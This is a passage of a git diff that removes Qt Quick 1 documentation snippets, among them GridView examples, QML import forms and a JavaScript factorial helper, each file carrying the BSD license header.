and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![import] -import QtQuick 1.0 -//![import] - -Rectangle { - width: childrenRect.width; height: childrenRect.height - -Row { - -//![classdocs simple] -GridView { - width: 300; height: 200 - - model: ContactModel {} - delegate: Column { - Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } - Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } - } -} -//![classdocs simple] - - -//![classdocs advanced] -Rectangle { - width: 300; height: 200 - - Component { - id: contactDelegate - Item { - width: grid.cellWidth; height: grid.cellHeight - Column { - anchors.fill: parent - Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } - Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } - } - } - } - - GridView { - id: grid - anchors.fill: parent - cellWidth: 80; cellHeight: 80 - - model: ContactModel {} - delegate: contactDelegate - highlight: Rectangle { color: "lightsteelblue"; radius: 5 } - focus: true - } -} -//![classdocs advanced] - -//![delayRemove] -Component { - id: delegate - Item { - GridView.onRemove: SequentialAnimation { - PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad } - PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: false } - } - } -} -//![delayRemove] - -//![highlightFollowsCurrentItem] -Component { - id: highlight - Rectangle { - width: view.cellWidth; height: view.cellHeight - color: "lightsteelblue"; radius: 5 - x: view.currentItem.x - y: view.currentItem.y - Behavior on x { SpringAnimation { spring: 3; damping: 0.2 } } - Behavior on y { SpringAnimation { spring: 3; damping: 0.2 } } - } -} - -GridView { - id: view - width: 300; height: 200 - cellWidth: 80; cellHeight: 80 - - model: ContactModel {} - delegate: Column { - Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } - Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } - } - - highlight: highlight - highlightFollowsCurrentItem: false - focus: true -} -//![highlightFollowsCurrentItem] - -//![isCurrentItem] -GridView { - width: 300; height: 200 - cellWidth: 80; cellHeight: 80 - - Component { - id: contactsDelegate - Rectangle { - id: wrapper - width: 80 - height: 80 - color: GridView.isCurrentItem ? "black" : "red" - Text { - id: contactInfo - text: name + ": " + number - color: wrapper.GridView.isCurrentItem ? "red" : "black" - } - } - } - - model: ContactModel {} - delegate: contactsDelegate - focus: true -} -//![isCurrentItem] - -} - -} diff --git a/doc/src/snippets/qtquick1/image.qml b/doc/src/snippets/qtquick1/image.qml deleted file mode 100644 index eda8cd9a3e..0000000000 --- a/doc/src/snippets/qtquick1/image.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Image { - source: "pics/qtlogo.png" -} -//! [document] diff --git a/doc/src/snippets/qtquick1/imports/chart.qml b/doc/src/snippets/qtquick1/imports/chart.qml deleted file mode 100644 index d5a2d3bf45..0000000000 --- a/doc/src/snippets/qtquick1/imports/chart.qml +++ /dev/null @@ -1,46 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [import] -import Charts 1.0 -//! [import] - -Item { -} diff --git a/doc/src/snippets/qtquick1/imports/installed-module.qml b/doc/src/snippets/qtquick1/imports/installed-module.qml deleted file mode 100644 index f08d0d7524..0000000000 --- a/doc/src/snippets/qtquick1/imports/installed-module.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [imports] -import QtQuick 1.0 -import com.nokia.qml.mymodule 1.0 -//! [imports] - -Item { -} diff --git a/doc/src/snippets/qtquick1/imports/merged-named-imports.qml b/doc/src/snippets/qtquick1/imports/merged-named-imports.qml deleted file mode 100644 index febfe5d40c..0000000000 --- a/doc/src/snippets/qtquick1/imports/merged-named-imports.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [imports] -import QtQuick 1.0 as Nokia -import Ovi 1.0 as Nokia -//! [imports] - -Item { -} diff --git a/doc/src/snippets/qtquick1/imports/named-imports.qml b/doc/src/snippets/qtquick1/imports/named-imports.qml deleted file mode 100644 index dd1e427c6b..0000000000 --- a/doc/src/snippets/qtquick1/imports/named-imports.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [imports] -import QtQuick 1.0 as QtLibrary -import "../MyComponents" as MyComponents -import com.nokia.qml.mymodule 1.0 as MyModule -//! [imports] - -Item { - //! [imported items] - QtLibrary.Rectangle { - // ... - } - - MyComponents.Slider { - // ... - } - - MyModule.SomeComponent { - // ... - } - //! [imported items] -} diff --git a/doc/src/snippets/qtquick1/imports/network-imports.qml b/doc/src/snippets/qtquick1/imports/network-imports.qml deleted file mode 100644 index f039c44f1e..0000000000 --- a/doc/src/snippets/qtquick1/imports/network-imports.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [imports] -import "http://www.my-server.com/MyQMLProject/MyComponents" -import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0 -//! [imports] - -Item { -} diff --git a/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml b/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml deleted file mode 100644 index ad8173e97d..0000000000 --- a/doc/src/snippets/qtquick1/imports/qtquick-1.0.qml +++ /dev/null @@ -1,46 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [import] -import QtQuick 1.0 -//! [import] - -Item { -} diff --git a/doc/src/snippets/qtquick1/imports/timeexample.qml b/doc/src/snippets/qtquick1/imports/timeexample.qml deleted file mode 100644 index 4d79dbe15e..0000000000 --- a/doc/src/snippets/qtquick1/imports/timeexample.qml +++ /dev/null @@ -1,46 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [import] -import com.nokia.TimeExample 1.0 -//! [import] - -Item { -} diff --git a/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml b/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml deleted file mode 100644 index 1197e4f7ff..0000000000 --- a/doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 -import "script.js" as MyScript - -Item { - id: item - width: 200; height: 200 - - MouseArea { - id: mouseArea - anchors.fill: parent - } - - Component.onCompleted: { - mouseArea.clicked.connect(MyScript.jsFunction) - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml b/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml deleted file mode 100644 index 447f6f0b04..0000000000 --- a/doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 -import "script.js" as MyScript - -Item { - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: { - MyScript.showCalculations(10) - console.log("Call factorial() from QML:", - MyScript.factorial(10)) - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js b/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js deleted file mode 100644 index a7bc4ac69f..0000000000 --- a/doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// factorial.js -function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); -} -//![0] diff --git a/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js b/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js deleted file mode 100644 index 964b2f5e8a..0000000000 --- a/doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js +++ /dev/null @@ -1,48 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in 